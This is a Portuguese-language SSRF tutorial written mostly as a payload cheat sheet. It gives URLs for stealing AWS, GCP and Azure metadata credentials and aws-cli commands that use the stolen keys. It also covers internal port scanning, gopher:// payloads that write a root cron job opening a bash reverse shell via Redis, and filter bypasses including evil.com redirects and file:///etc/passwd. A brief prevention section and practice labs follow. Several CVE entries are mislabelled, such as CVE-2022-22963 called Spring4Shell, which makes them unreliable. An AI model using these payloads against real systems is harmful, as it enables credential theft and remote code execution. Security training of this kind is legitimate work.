O que é SSRF
Server-Side Request Forgery ocorre quando uma aplicação aceita URLs fornecidas pelo usuário e as usa para fazer requisições internas. O servidor vira um proxy para o atacante acessar recursos que normalmente seriam inacessíveis.
-- Funcionalidade legítima vulnerável
https://alvo.com/fetch-preview?url=https://site-externo.com
-- Atacante muda URL para target interno
https://alvo.com/fetch-preview?url=http://localhost/admin
https://alvo.com/fetch-preview?url=http://192.168.1.1/config
https://alvo.com/fetch-preview?url=http://169.254.169.254/latest/meta-data/SSRF para Roubo de Credenciais Cloud (AWS)
O endpoint de metadata AWS (169.254.169.254) retorna credenciais temporárias da role IAM associada à instância EC2. É acessível apenas de dentro da instância — por isso SSRF o expõe.
-- IMDSv1 (legado, sem autenticação)
https://alvo.com/fetch?url=http://169.254.169.254/latest/meta-data/
https://alvo.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
https://alvo.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
-- Resposta com credenciais temporárias:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-04-03T00:00:00Z"
}
-- Com as credenciais, usar aws-cli:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls
aws secretsmanager list-secrets
-- GCP Metadata
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
-- Header obrigatório: Metadata-Flavor: Google
-- Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/
-- Header obrigatório: Metadata: trueSSRF contra Serviços Internos
-- Port scan interno via SSRF
-- Medir tempo de resposta ou mensagem de erro para inferir porta aberta
https://alvo.com/fetch?url=http://192.168.1.1:22 → SSH aberto?
https://alvo.com/fetch?url=http://192.168.1.1:6379 → Redis?
https://alvo.com/fetch?url=http://192.168.1.1:9200 → Elasticsearch?
https://alvo.com/fetch?url=http://192.168.1.1:5432 → PostgreSQL?
https://alvo.com/fetch?url=http://192.168.1.1:27017 → MongoDB?
-- Descoberta de rede interna
https://alvo.com/fetch?url=http://10.0.0.1
https://alvo.com/fetch?url=http://172.16.0.1
https://alvo.com/fetch?url=http://192.168.0.1
-- Acesso a painéis admin internos (não expostos externamente)
https://alvo.com/fetch?url=http://localhost:8080/admin
https://alvo.com/fetch?url=http://internal-jenkins:8080
https://alvo.com/fetch?url=http://grafana.internal:3000
https://alvo.com/fetch?url=http://kibana.internal:5601SSRF para RCE — Redis sem Autenticação
-- Redis exposto internamente aceita comandos via HTTP em algumas versões
-- Usando Gopher protocol para enviar comandos Redis
https://alvo.com/fetch?url=gopher://127.0.0.1:6379/_%0d%0aSET%20hacker%20%22test%22%0d%0a
-- Escrever cron job via Redis
gopher://127.0.0.1:6379/_%0d%0aCONFIG%20SET%20dir%20/etc/cron.d%0d%0a
gopher://127.0.0.1:6379/_%0d%0aCONFIG%20SET%20dbfilename%20root%0d%0a
gopher://127.0.0.1:6379/_%0d%0aSET%20payload%20%22%0a%0a*/1 * * * * root bash -i >%26 /dev/tcp/10.10.10.10/4444 0>%261%0a%0a%22%0d%0a
gopher://127.0.0.1:6379/_%0d%0aBGSAVE%0d%0aBypass de Filtros de SSRF
-- Filtros de IP bloqueiam 127.0.0.1, 192.168.x.x, 10.x.x.x
-- Representações alternativas de 127.0.0.1
http://127.1
http://127.0.1
http://2130706433 (decimal)
http://0x7f000001 (hexadecimal)
http://0177.0.0.1 (octal)
http://[::1] (IPv6 localhost)
http://[::ffff:127.0.0.1]
-- DNS Rebinding
-- Registrar domínio que resolve para 127.0.0.1 após primeiro lookup
-- Bypass de verificação: primeira resolução retorna IP externo (passa)
-- Segunda resolução (pela app) retorna 127.0.0.1 (ataca)
-- Redirect (se app segue redirects)
-- Hospedar em servidor externo:
Location: http://169.254.169.254/latest/meta-data/
-- Depois: https://alvo.com/fetch?url=http://evil.com/redirect
-- URL de subdomínio que resolve para IP interno
-- Criar: ssrf.evil.com → 192.168.1.1
-- https://alvo.com/fetch?url=http://ssrf.evil.com/admin
-- Encurtadores de URL
-- bit.ly/xxx → redireciona para 127.0.0.1
-- Parsing inconsistente de URL
http://[email protected] (alguns parsers ignoram o host e usam o path)
http://127.0.0.1#evil.com
http://127.0.0.1?.evil.com
-- Schemas alternativos
file:///etc/passwd
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_INFO
ftp://127.0.0.1/
ldap://127.0.0.1/Blind SSRF
A resposta não é retornada ao atacante. A exploração é inferida por interações externas (DNS lookups, callbacks HTTP).
-- Usar Burp Collaborator ou interactsh para capturar callbacks
https://alvo.com/fetch?url=https://SEU-ID.burpcollaborator.net
-- Se o servidor fez requisição ao Collaborator = SSRF confirmado
-- A partir daí, inferir por tempo (se porta fechada = timeout = delay)
-- interactsh (open source Burp Collaborator alternativo)
interactsh-client -server https://interactsh.com
-- URL gerada: abc123.interactsh.com
https://alvo.com/fetch?url=http://abc123.interactsh.com
-- Com DNS lookup apenas (mais furtivo)
https://alvo.com/fetch?url=http://test.abc123.interactsh.comPrevenção
- Whitelist de Destinos — permitir apenas domínios/IPs específicos necessários; negar todo o resto por padrão
- IMDSv2 (AWS) — forçar uso do Instance Metadata Service v2 que exige token de sessão, eliminando acesso simples via SSRF
- Desabilitar Schemas Perigosos — bloquear file://, gopher://, dict://, ftp:// nas URLs aceitas
- Resolução DNS no Servidor — resolver o DNS e validar o IP resultante antes de fazer a requisição; bloquear IPs privados e loopback
- Segmentação de Rede — servidores web não devem ter acesso irrestrito à rede interna; use firewalls e microsegmentação
- Não Expor Metadados Cloud — IMDSv2 + políticas IAM com menor privilégio; roles EC2 com apenas permissões necessárias
CVEs Notáveis
- CVE-2019-11043 — PHP-FPM + Nginx: SSRF via path manipulation → RCE
- CVE-2021-21972 — VMware vCenter Server: SSRF sem autenticação → upload de arquivo → RCE
- CVE-2022-22963 — Spring Cloud Function: SSRF + SpEL injection → RCE (Spring4Shell)
- Capital One (2019) — SSRF em WAF mal configurado expôs metadata AWS → 100 milhões de registros vazados
Labs para Praticar
- PortSwigger Web Academy — laboratórios de SSRF incluindo blind SSRF e bypass de filtros
- HackTheBox — boxes: Forge, Unobtainium, Ophiuchi
- TryHackMe — room: SSRF
- flaws.cloud e flaws2.cloud — desafios de SSRF em ambiente AWS real